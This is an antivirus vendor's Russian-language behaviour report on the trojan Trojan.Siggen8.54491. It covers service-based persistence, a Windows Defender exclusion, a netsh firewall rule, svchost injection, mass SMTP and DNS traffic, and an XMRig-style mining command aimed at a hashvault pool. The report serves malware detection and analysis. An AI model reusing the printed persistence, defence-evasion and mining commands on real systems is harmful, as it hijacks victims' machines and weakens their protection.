Trojan.Siggen8.54491

Техническая информация

Для обеспечения автозапуска и распространения

Создает следующие сервисы

[<HKLM>\System\CurrentControlSet\Services\trniqnyn] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\trniqnyn] 'ImagePath' = '%WINDIR%\SysWOW64\trniqnyn\wyrcjrfv.exe /d"<Полный путь к файлу>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\trniqnyn] 'ImagePath' = '%WINDIR%\SysWOW64\trniqnyn\wyrcjrfv.exe'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса с помощью следующих ключей реестра::

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\trniqnyn' = '00000000'

Запускает на исполнение

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\svchost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\wyrcjrfv.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Перемещает следующие файлы

%TEMP%\wyrcjrfv.exe в %WINDIR%\syswow64\trniqnyn\wyrcjrfv.exe

Самоудаляется.

Сетевая активность

TCP

Запросы HTTP GET

http://www.google.com/

'fi####.datayard.us':25

'19#.#.131.101':416

'14#.#6.199.2':416

'46.#.52.109':416

'85.##.119.25':416

'93.#79.68.4':416

'eu#.###.#rotection.outlook.com':25

'mx#.##rvers.aueb.gr':25

'mx#.###refilter.com.br':25

'34.##5.219.151':443

'ma###.hostinguk.net':25

'alt1.aspmx.l.google.com':25

'mx.###eneshop.no':25

'43.#31.4.7':443

'mx#.#igicom.ca':25

'mx##.sbbs.se':25

'mx###.##il.am0.yahoodns.net':25

'as#.##flexion.net':25

'ff######x-vip2.prodigy.net':25

'mx.#im.it':25

'ma##.pley.net':25

'mx#.#aver.com':25

'ma####.mailtwo.com':25

'17#.#11.49.43':416

'gmail-smtp-in.l.google.com':25

'po##.#ashvault.pro':80

'aspmx.L.google.com':25

'al######x-vip2.prodigy.net':25

'mx####.##il.gm0.yahoodns.net':25

'ho#########.olc.protection.outlook.com':25

'85.##4.134.88':480

'in######.messagingengine.com':25

're####m.windsoc.net':25

UDP

DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK li#e.fr
DNS ASK br##et.com
DNS ASK mx#.###refilter.com.br
DNS ASK br###spar.com
DNS ASK google.com
DNS ASK bo######hoicerealestate.com
DNS ASK nu##lms.ca
DNS ASK mx#.####yscorp.iphmx.com
DNS ASK pp#.gc.ca
DNS ASK br###elmey.net
DNS ASK gs#####truction.bc.ca
DNS ASK fi####.datayard.us
DNS ASK bo####sbistro.com
DNS ASK mx#.#igicom.ca
DNS ASK di###om.qc.ca
DNS ASK sp##nt.ca
DNS ASK mx.##deotron.ca
DNS ASK vi###tron.ca
DNS ASK cs#.ca
DNS ASK ra#####ironmental.com
DNS ASK br####eldphoto.com
DNS ASK re####m.windsoc.net
DNS ASK in###trada.it
DNS ASK at#.net
DNS ASK in######.messagingengine.com
DNS ASK no###t-nite.com
DNS ASK mx.###eneshop.no
DNS ASK no##s.no
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK jp#.ca
DNS ASK br###air.com
DNS ASK co#.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ma###.hostinguk.net
DNS ASK br#####ldprinting.co.uk
DNS ASK alt1.aspmx.l.google.com
DNS ASK co##.idt.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK co#.net
DNS ASK mx#.##il.icloud.com
DNS ASK ma#.com
DNS ASK pr#####.powergate.ca
DNS ASK gmail-smtp-in.l.google.com
DNS ASK ma####.mailtwo.com
DNS ASK ad##ess.com
DNS ASK mx#.#ate.com
DNS ASK na##.com
DNS ASK et###.#ail.tiscali.it
DNS ASK ti###linet.it
DNS ASK mx#.##rvers.aueb.gr
DNS ASK au#b.gr
DNS ASK nh#.org
DNS ASK na##r.com
DNS ASK gm##l.com
DNS ASK aspmx.L.google.com
DNS ASK br###soft.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK ho##ail.com
DNS ASK al######x-vip2.prodigy.net
DNS ASK be###outh.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ao#.com
DNS ASK po##.#ashvault.pro
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK mx#.#aver.com
DNS ASK eq##v.net
DNS ASK ea###tribe.net
DNS ASK po###gate.ca
DNS ASK mb.##mpatico.ca
DNS ASK mx##.sbbs.se
DNS ASK yn##r.se
DNS ASK ma##.#engblads.se
DNS ASK te###lads.se
DNS ASK ra#####insurance.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ma##.pley.net
DNS ASK ya##o.it
DNS ASK ti##ali.it
DNS ASK ff######x-vip2.prodigy.net
DNS ASK sb###obal.net
DNS ASK mx##.#and1.co.uk
DNS ASK bo##ont.net
DNS ASK eq#####ealestate.net
DNS ASK no##.gov
DNS ASK mx.#im.it
DNS ASK ti#.it
DNS ASK as#.##flexion.net
DNS ASK mx#.##p.iphmx.com

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\trniqnyn\wyrcjrfv.exe' /d"<Полный путь к файлу>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\trniqnyn\' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wyrcjrfv.exe" %WINDIR%\SysWOW64\trniqnyn\' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' create trniqnyn binPath= "%WINDIR%\SysWOW64\trniqnyn\wyrcjrfv.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' description trniqnyn "wifi internet conection"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' start trniqnyn' (со скрытым окном)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\trniqnyn\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wyrcjrfv.exe" %WINDIR%\SysWOW64\trniqnyn\
'%WINDIR%\syswow64\sc.exe' create trniqnyn binPath= "%WINDIR%\SysWOW64\trniqnyn\wyrcjrfv.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description trniqnyn "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start trniqnyn
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o pool.hashvault.pro:80 -u hvs1hBH2qRhZkKfQyujRfXN4wmUM8hM4VQnhn9xUM6NVgAcdnA3dUBh7qqFx38kZTVEbU3tD3jr2aFXwFtwyj3is7hGGAcW1EH.5000 -p Г‘ВЃ -k